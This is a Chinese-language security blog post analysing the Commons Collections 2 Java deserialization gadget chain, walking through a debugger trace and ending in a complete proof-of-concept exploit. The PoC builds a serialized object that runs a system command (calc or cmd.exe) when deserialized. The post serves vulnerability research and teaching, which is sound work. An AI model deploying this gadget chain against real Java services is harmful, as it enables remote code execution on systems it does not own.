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Commons Collections2分析

holic · 发表于 2021-02-13 20:19:20 · 代码审计

0x01、POC分析

//创建一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//创建一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面创建的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");

首先是通过getDefault创建一个CtClass对象的容器，然后appendClassPath()来添加添加AbstractTranslet的搜索路径；

然后创建一个public修饰的类，类名为CommonsCollection2；通过setSuperclass来设置父类；我们在想想看get()方法是干嘛的？通过该文章javassist使用，可以知道是查找AbstractTranslet类

此处总结就是：设置父类为AbstractTranslet

然后创建一个静态代码块，静态代码块中设置内容为：

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射创建TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); 

///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});

//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);  

//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");

然后通过反射创建，通过实例化调用了构造无参构造，然后newInstance()来实例化对象，通过反射获取private修饰的_bytecodes属性；获取私有的时候需要使用暴力反射；

然后将反射获取的_bytecodes变量赋值为bytes变量

而bytes是payload.toBytecode()，而payload是CommonsCollections2类的内容；将templatesImpl上的_bytecodes字段设置为CC2类的的byte数组；

然后再通过反射获取到private修饰的_name变量，最后通过反射设置该变量的值为test；

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
                                                        new Class[]{},
                                                        new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

而我们通过cc1知道，InvokerTransformer第⼀个参数是待执⾏的⽅法名，第⼆个参数是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表；接着获取了 InvokerTransformer 实例对象.

所以这边是去调用了newTransformer这个方法，后面再细讲；然后TransformingComparator的compare方法会去调用传入参数的transform方法。

第四部分

//使用指定的初始容量创建一个 PriorityQueue，并根据其自然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

构造参数有三种，然后我们这是第二种，自定义容量大小；然后将指定的元素插入此优先级队列，默认是升序排列；

此处是实验代码~~~，由于本人懒，就不单独写，直接修改一下下；

然后通过反射，去获取comparator变量，并且最后在comparator变量设置值为comparator；

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最后步骤一样，设置queue变量为Object数组，内容为templatesImpl；最后就是输出序列化流

那为什么要添加两个呢？这个稍后调试的时候讲解

0x02、poc调试

这里我先说明一下，因为我昨天去和朋友happy，和初中同学聚了一下还看了唐探3，给忘记了我写了啥东西；所以poc分析就按照之前的废稿写进；然后这边poc我是摘抄自nice一位师傅的；其次就是这边调试我会按照我的思路讲； 接下来就进入正文了

这里不知道上文分析的逻辑，也不想读，就重新理解过程；这边我们看看yso的利用链，这边入口点是PriorityQueue.readObject()；知道了路口点，那我们可以进去查找下这个readObject()方法。

断点下好后我们就可以开始debug了，因为前面部分都不是重点。

这边有几个步骤，首先是调用默认的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件进行反序列化去读取数据；然后调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此处继续检查集合的容量和类型，然后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject() 方法对应 . 读取 queue 数组的内容

最后进入heapify()方法中，我们f7继续跟进去看看

进去之后我们发现是调用了siftDown()方法；那这for判断的是啥？

这时候就涉及到了exp中为何要添加两个值到容器中

那么我们看看for是怎么判断的？

通过此处，size知道为2，经过计算后为0，判断i大于等于0的时候，执行代码的内容为0，满足这条件；那我们无法判断是否是此处的问题，我们可以修改exp试试

queue.add(1);
queue.add(1);

我们先将此处注释掉一个

最后我们在debug到那一步去看看size的值是多少

这时候可以发现是size的值是1；如果还有什么疑惑的话，没事，下面我们会分析如何构造出这份exp；

那么我们回归正文，我们继续F7进入siftDown()方法看看

这个方法可以看到有两个参数，第一个是整数类型的，也就是数字；第二个X是什么？

X是：queue[i] = queue[0] = TemplatesImpl对象

然后再判断comparator值不为空的时候为true；然而这个comparator是TransformingComparator类型的值，所以进入这个siftDownUsingComparator；

我们继续f7跟进siftDownUsingComparator方法里面

然后一直f8到了此处，具体上面的我就不细讲了。这边调用了compare

注意：comparator是TransformingComparator类型的值，所以可以知道调用的是TransformingComparator类里面的compare()方法噢

所以我们f7进去，查看是不是跟我们的想法一致（读者：这不屁话吗，不一致就大结局了）

注意个问题，这边两个参数的内容都是TemplatesImpl的实例化对象。那this.transformer呢？

此处是InvokerTransformer类型的值，所以这边调用的是InvokerTransformer里的transform()方法；这就有点类似CC1里面的了，绕到此处，使用反射进行rce；

但是，这里我们就要细节了，注意看上图中的时时变量，

所以我们跟进去看看所谓的细节~~，既然调用了newTransformer方法，我们就进去看看这个方法。那这是哪个类的呢？

这里类型是这个，也就是exp构造的类型，所以这个方法属于这个类中的

TemplatesImpl.newTransformer() 方法主要用于获取 TemplatesImpl 实例对象 , 后面可以使用此实例处理来自不同源的XML文档 , 并对其进行转换等操作。其中会调用getTransletInstance方法。前面可是没有条件判断，意思就是必进的点

进入了getTransletInstance()方法中

方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。

为什么构造 Payload 时 `_name` 字段不填充会利用失败 ?

其实是因为 getTransletInstance() 方法会对 TemplatesImpl 对象的 _name 字段有一步判断 , 如果该属性值为 null , 则直接返回 null；不为空的时候，才能进入下面的条件分支

接着代码会判断 _class 字段值是否为空 , 如果为空就会调用 defineTransletClasses() 方法 . 这里 _class 字段为空 , 因此我们跟进该方法。

该方法会对 _bytecodes 字段进行解析 , 核心代码如下:

代码会通过 loader.defineClass() 方法将字节码数组转换成类的实例。

而唯一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

然后一直到最后，defineTransletClasses()执行完后会跳回刚刚的地方

由于变量 _transletIndex 的值为 “ 0 “ , 因此 _class[_transletIndex] 实际上就是我们通过 JAVAssist 构造的恶意类。

现在会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .

类在加载时会调用静态代码块中的内容 . 因此服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。

0x03、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}